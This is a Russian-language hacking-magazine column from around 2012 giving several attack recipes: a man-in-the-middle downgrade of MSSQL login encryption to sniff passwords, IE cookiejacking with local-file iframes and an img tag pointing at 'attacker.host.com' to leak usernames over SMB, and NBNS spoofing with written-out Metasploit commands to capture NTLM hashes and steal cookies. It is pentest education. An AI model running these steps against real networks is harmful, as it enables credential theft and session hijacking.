Содержание статьи
Отснифать пароль при аутентификации в MSSQL
РЕШЕНИЕ
Microsoft SQL server — это одна из самых распространенных СУБД. Давай рассмотрим две ее особенности.
- Как и многие другие продукты Microsoft, SQL server предлагает два вида аутентификации: integrated (sign-on), то есть аутентификацию по виндовой учетной записи, и native, то есть классическую, по логину и паролю. Оба способа используются довольно часто.
- По дефолту данные, передаваемые по сети, практически не шифруются. Если точнее, то шифруется процесс аутентификации пользователя, а сами данные — нет. Конечно, для атаки этого было бы достаточно. Зачем нам логин и пароль, если мы можем на лету поменять запрос или получить данные, всего лишь устроив arp-spoofing между сервером и клиентом? Затем, что это не самое простое дело — подменять что-то на лету. Поэтому попытаемся вытащить логин и пароль.
Не так давно некто под ником f0rki изучил этот вопрос (bit.ly/sBg07r). Посмотрим, что же он выудил. Для начала то, что данные MSSQL передаются в формате Tabular DataStream protocol (bit.ly/z3oVPR). Но сам этот протокол не поддерживает шифрование. Как же так? Откуда зашифрованные пакеты авторизации? После непродолжительных мучений с Wireshark f0rki обнаружил довольно интересную вещь: для шифрования здесь используется обычный SSL (с самоподписанным сертификатом), который работает внутри TDS. Нестандартное решение. Но это не так важно. Самое интересное — это настройка TDS-соединения, так называемого пакета PRELOGIN. Он задает разнообразные настройки и в том числе указывает, будет ли использоваться шифрование. За шифрование отвечает поле ENCRYPTION, которое может принимать следующие значения:
- Шифрование доступно, но отключено: ENCRYPT_OFF — 0x00.
- Шифрование доступно и включено: ENCRYPT_ON — 0x01.
- Шифрование недоступно: ENCRYPT_NOT_SUP — 0x02.
- Шифрование требуется: ENCRYPT_REQ — 0x03.
По дефолту устанавливается значение ENCRYPT_OFF. Несмотря на название, шифрование при таком значении используется, но только для процесса. А вот когда стоит ENCRYPT_NOT_SUP, шифрование не используется совсем. Таким образом, мы вполне можем осуществить классическую MiTM-атаку и, подменив данные всего лишь в одном пакете, полностью отключить шифрование и отснифать аутентификационные данные.
Кстати, автор этого исследования довел всё до логического конца — создал модуль для Metasploit Framework, который всё за нас и сделает. Только, думаю, здесь стоит отметить одну особенность. В описываемом случае модуль не меняет данные на лету, а поднимает TCP-порт, и только с него данные редиректятся на MSSQL-сервер за счет еще одного соединения, созданного уже атакующим, что, тем не менее, не создает особых проблем. Всё, что требуется, — это организовать редирект трафика, приходящего на хост атакующего после arp-spoofing-атаки, на соответствующий локальный порт. Но и эту задачу f0rki автоматизировал, добавив в свой модуль небольшой shell-скрипт.
Хакер #158. Взломать Wi-Fi за 10 часов
Угнать кукисы с помощью ui-redressing
РЕШЕНИЕ
В декабрьском номере ][ мы познакомились с такой вещью, как clickjacking. Статья была очень полезной, но автор не упомянул об одном замечательном трике. На самом деле название clickjacking не совсем точно отражает суть атаки, и мне кажется, что ui-redressing — это более правильное понятие. И техника, которую я опишу ниже, — самое яркое тому подтверждение.
Итак, позволь представить тебе cookiejacking. Впервые об этом технике рассказал Rosario Valotta на HITB в Амстердаме в 2011 году. Потенциал техники огромен — просто представь, что с ее помощью можно похитить куки от любого сайта, даже от защищенного HTTPS-протоколом! Однако здесь есть небольшое ограничение: работает она только в IE (но зато во всех версиях). Теперь давай посмотрим, что же предлагает нам этот ИБ-специалист.
Во-первых, он использовал 0-day, которая имеется во всех версиях IE. С виду это не такая уж и страшная дырка, а потому ее не особо стремились пропатчить. Как ты уже знаешь, в IE есть такая фича, как разделение на зоны: Internet, Intranet, доверенные узлы. В разных зонах действуют разные настройки безопасности. Например, описанная выше автоматическая NTLM-аутентфикация действует для узлов зоны Intranet и выше. Вот список зон, отсортированных в порядке уменьшения привилегий:
Local Machine Zone
Local Intranet Zone
Trusted Sites Zone
Internet Zone
Restricted Sites Zone
С безопасностью и зонами связан еще один момент — правила кросс-зонного взаимодействия. Согласно самому общему правилу, менее привилегированная зона не может взаимодействовать с более привилегированной. Таким образом, вызов следующего кода со страницы зоны интернет приведет к ошибке доступа:
<iframe src="file://c:/boot.ini">
Уязвимость 0-day состоит в том, что кросс-зонная политика не действует для определенных файлов, а именно для файлов куки. Таким образом, на страницу сайта зоны интернет можно вставить следующий фрейм:
<iframe src="file:///C://Documents and Settings/%user_name%/
Cookies/%user_name%@google[1].txt"> </iframe>
Здесь %user_name% — это имя пользователя в ОС. Куки же у каждого пользователя свои, поэтому хранятся они в личных папках. Пример, иллюстрирующий чтение кукисов Google, ты сможешь увидеть на скриншоте.
Во-вторых, кроме 0-day-бага, автор использовал специальную технику clickjacking'а под названием content extraction (представлена Полом Стоуном на BlackHat Europe — 2010,goo.gl/Z8YNw). Зачем? Хотя мы и подгрузили в iframe файл с кукисами, однако получить доступ к данным в нем мы не можем. Здесь действует кросс-доменная политика, ведь наш сайт находится где-то в сети, а в iframe у нас сидит localhost пользователя.
Суть этой специальной техники достаточно проста. Все современные браузеры поддерживают drag & drop, с помощью которого пользователь может перенести данные с одного сайта на другой. Таким образом, юзер, по сути, копирует данные в одном месте и вставляет в другое. Кросс-доменным политикам здесь придраться не к чему. Так вот, content extraction — это, проще говоря, несколько извращенный drag & drop. Заманив на ядовитый clickjacking-сайт нашу жертву, мы предлагаем ей, например, поиграть в игру. Ее смысл — перетащить один элемент (в примере Rosario это мячик) в другой (сетка). Под мячик мы прячем наш iframe с кукисами, а на самом сайте создаем обработчик для переносимых данных. Но и это еще не всё. Нашему iframe мы добавляем свойство scrollspeed с большим значением. Это необходимо для того, чтобы клик, совершаемый пользователем, превращался в операцию выделения за счет самостоятельного перемещения (проскролливания) iframe из самого верха в самый низ. Таким образом, получается, что пользователь во время клика на самом деле выделяет текст в iframe, а перемещая мячик в корзину, перемещает этот текст drag & drop'ом, в итоге передавая текст хакеру. Возможно, что на словах всё это звучит не очень понятно, но как только ты посмотришь видео на сайте Rosario Valotta, то сразу поймешь логику метода и, в частности, техники content extraction, даже если ты не знаком с JavaScript.
Думаю, что теперь общая идея атаки ясна. Однако у нее есть несколько нюансов. Во-первых, эта атака работает на всех ОС Windows, что и создает проблему :). Файлы кукисов в XP и в Vista/7 лежат в разных местах. Для XP это C://Documents and Settings/%user_name%/Cookies, а для более новых версий винды — C:/Users/% user_name %/AppData/Roaming/Microsoft/Windows/Cookies. Тем не менее, эта «проблема» решается достаточно просто, ведь большинство браузеров отправляют в каждом запросе заголовок User-Agent, который очень часто включает в себя и версию ОС. Кроме того, для определения версии ОС можно воспользоваться тем же JavaScript.
Во-вторых, как ты, я думаю, заметил, нам необходимо знать имя пользователя на его компьютере, и это главная проблема. Для ее решения можно попытаться заставить пользователя подключиться по протоколу SMB. При подключении по нему клиент передает имя пользователя наряду с другими полями. Для этого на ядовитую страницу требуется добавить вот такой простейший код:
<img src="\\attacker.host.com\any.jpg"></img>
Конечно, еще потребуется поставить обработчик запросов на 445 порт, а затем организовать его взаимодействие с web-сервером. Как видишь, описанный метод просто шикарен! Однако возможности его использования чаще всего ограничивает фильтрация такого трафика на сетевых устройствах. К тому же здесь встает еще одна проблема. На дворе уже весна 2012-го, а Microsoft пофиксила уязвимость в IE еще в начале осени 2011-го. Кроме того, Microsoft внесла изменения в наименование кукисов в файловой системе. Теперь их названия лишились понятного удобочитаемого вида user_name@domain[counter].txt и стали похожи на буквенно-цифровые рандомы вроде 87TVLBDW.txt. Поэтому обратиться к ним напрямую так просто уже не получится. Впрочем, по статистике, очень малое число пользователей заблаговременно обновляет свои браузеры, особенно если речь идет об IE.
Собрать информацию
РЕШЕНИЕ
Сбор информации является одним из важнейших этапов при проведении аудита безопасности (ну или атаки). Ведь нам необходимо найти самое слабое место и затем попытаться захватить через него всю систему. Но зачем искать сложный путь, если самым слабым местом любой, даже самой защищенной системы является человек? Ты наверняка знаешь о существовании такой замечательной вещи, как социальная инженерия. Ее результативность напрямую зависит от доступной информации о человеке, поэтому тысячи специалистов и проводят различные исследования на эту тему. Однако в России такой тенденции пока что не наблюдается, так как наши пользователи сидят в основном только в Одноклассниках и ВКонтакте, да и процесс информатизации еще просто не дошел до большинства ведомств. В любом случае я думаю, что тебя заинтересует ссылка makensi.es/stf. Автор этой страницы не поленился собрать в одном месте неплохую коллекцию всевозможных онлайн-сервисов, которые могут пригодиться тебе в процессе взлома или пентеста, чтобы получить всю необходимую информацию как о человеке, так и о всей подопытной системе.
Найти альтернативу DNS и проспуфить NetBIOS
РЕШЕНИЕ
Всем нам известно, что для определения IP-адресов по именам используется протокол DNS. Протокол проектировался без особой заботы о безопасности (тогда существовали более важные задачи), поэтому в настоящее время в нем есть множество недостатков с точки зрения безопасности. Однако на смену ему идет DNSSEC, и я надеюсь, что ситуация изменится в лучшую сторону. Сами недостатки DNS наиболее сильно проявляются в локальных сетях, особенно если мы можем проводить атаки типа arp-poisoning, позволяющие просматривать и модифицировать трафик, которым обмениваются жертва и сервер. Но давай предположим, что по каким-то причинам всё это нам недоступно, хотя мы и находимся в одной локалке с жертвой. Пусть, например, в сетке присутствует некая IDS, и мы совсем не хотим, чтобы кто-то заметил нашу хакерскую активность. Тогда нам нужно действовать тихо, используя только стандартные возможности протоколов. Уточню задачу. Нам необходимо перехватить куки, передаваемые пользователем на абстрактный сайт XXX.COM. Изначально может показаться, что задача не имеет решения, но давай рассмотрим, каким образом ОС Windows определяет IP-адрес сайта. Первым делом система проверяет статическую привязку IP к именам, хранящимся в файле hosts (C:\Windows\System32\drivers\etc\hosts). Далее, если в файле нет привязок, производит запрос к DNS-серверу. Затем Windows использует такую штуку, как NetBIOS Name Service. Здесь следует уточнить, что NetBIOS входит в Windows по дефолту, а NetBIOS Name Service (NBNS) — это тот же протокол, только предназначен он для установки соответствия между NetBIOS-именами и IP-адресами. В процессе работы этот протокол либо использует специальный WINS-сервера, либо отправляет широковещательный запрос в сеть (думается, теперь идея атаки понятна). Но вернемся к еще одному важному моменту — DNS-запросу к серверу. Если сервер ответит пользователю, то запрос по NBNS уже не будет отправлен. А как же DNS-серверу не ответить, если интересующий пользователя сайт XXX.COM имеет DNS-запись? Здесь мы можем воспользоваться возможностями современных браузеров: поиском из адресной строки и подстановкой доменов верхнего уровня (.com, .ru). Как именно? Сейчас пользователи привыкают вводить то, что их интересует, прямо в адресную строку, но браузеры не всегда могут понять, хочет ли пользователь что-то найти в поисковике или просто открыть сайт. Есть, конечно, определенные паттерны (например, пробелы в адресной строке), но гораздо чаще браузеры в первую очередь резолвят имя только упомянутым выше способом. Что еще интересней, при отправке DNS-запроса к введенной пользователем строке добавляется определенный суффикс, в результате чего получается полное доменное имя.
Теперь нам необходимо подделать ответ на NBNS-запрос. Для этого нужен Transaction ID из NBNS-запроса. Но, как уже было сказано выше, этот запрос чаще всего является широковещательным, а так как мы находимся в той же локалке, то никаких проблем с его получением нет. К нашей радости, для спуфинга в MSF уже присутствует соответствующий модуль. Вот краткая схема действий:
- Загружаем модуль для NetBIOS-суппинга: use auxiliary/spoof/nbns/nbns_response.
- Выставляем регэпс ответов на запросы: Set REGEX _google_.
- Указываем, какой IP-адрес подставлять: set spoofip xa.kep.IP.address.
- Запускаем: run.
Теперь сделаю небольшое отступление. Создатель этого модуля (Tim Medin) предлагал использовать его совершенно для других целей (goo.gl/Jz2Q9), а именно для банального сбора NTLM-хешей. Если точнее, то после запуска вышеуказанного модуля от браузера приходит множество запросов, причем чаще всего получается спуфить короткие имена (типа makaka), а не длинные (makaka.com). С учетом логики работы Windows короткие имена причисляются к зоне интранет (не интернет!). А эта зона в IE считается «доверенной», и в ней действуют гораздо менее грозные настройки безопасности. К примеру, здесь разрешена автоматическая аутентификация на сайтах. Таким образом, мы можем запустить модуль для сбора NTLM-хешей по HTTP (хотя можно и по SMB):
- Загружаем модуль для снифинга: use auxiliary/server/capture/http_ntlm.
- Страница, где будет производиться запрос: set URIPATH.
- Порт, где поднимется веб-сервер: set SRVPORT 80.
- Запускаем: run.
Вернемся к краже кукисов. Итак, используя NBNS-спуфинг, мы можем подменить какой-либо рандомный запрос. Но нам нужны кукисы именно c XXX.com, а потому мы проворачиваем небольшой трюк — поднимаем веб-сервер со страничкой, содержащей скрытый фрейм (можно заюзать JavaScript), а уже в этом фрейме загружаем XXX.com. Однако нам надо не просто загрузить XXX.com, но еще и сделать так, чтобы браузер не нашел его с помощью DNS и начал использовать для поиска только NBNS. Очень важно, чтобы браузер продолжал считать проспуфленный домен тем же самым доменом, иначе в силу вступят кросс-доменные политики и никаких кукисов мы не увидим. Так как указанная методика разресерчивалась как раз во время написания этого текста, то единственным достойным вариантом стало обращение к несуществующему поддомену атакуемого сайта.
Теперь можно вывести общий алгоритм атаки:
- Устанавливаем NBNS-спуфинг на все имена.
- Поднимаем web-сервер с логированием входящих запросов (чтобы собирать кукисы) и фреймом, ссылающимся на несуществующий поддомен XXX.com (например, asdasdasd.XXX.com).
- Жертва, которая ввела что-то в адресную строку браузера, спуфится по NBNS и редиректится на хост хакера.
- Браузер автоматом резолвит asdasdasd.XXX.com, и, опять же, спуфится по NBNS.
- Браузер отправляет кукисы XXX.com на asdasdasd.XXX.com, то есть на хост хакера.
Таким образом, мы можем получить кукисы от множества сайтов. Единственное ограничение здесь в том, что куки должны быть установлены не на конкретный узел (XXX.com), а на домен (.XXX.com).
Перехватить трафик на localhost под Windows
РЕШЕНИЕ
Недавно я столкнулся с невозможностью пропускать трафик через прокси при системных обращениях к localhost или к лупбэку — 127.0.0.1. Почему системных? Потому, что настройки IE, касающиеся прокси, используются большинством ПО в Windows. Например, Python при использовании urllib2 автоматом берет прокси ОС. Надо отметить, что острее всего проблема проявляется, когда сервис поднят именно на внутреннем интерфейсе (127.0.0.1) и недоступен на внешнем (0.0.0.0). В тот раз мне удалось решить ее каким-то обходным путем, но недавно я наткнулся на интересный пост в блоге Eldar Marcussen. Он написал, что дефолтные настройки IE и .NET framework запрещают трафику идти через прокси на localhost и 127.0.0.1. В IE9 эту проблему удалось решить за счет того, что в настройках можно выбрать опцию «не использовать прокси» — «-localhost».
Решение, в общем-то, чрезвычайно простое. Во-первых, можно обращаться к сервису по любому IP в 127 подсети, кроме первого, например по адресу 127.1.2.3, так как все они относятся к одному интерфейсу. Во-вторых, можно прописать в файле локального резолва имен hosts (%windir%\drivers\etc\hosts) другое имя для localhost: 127.0.0.1 localh0st.
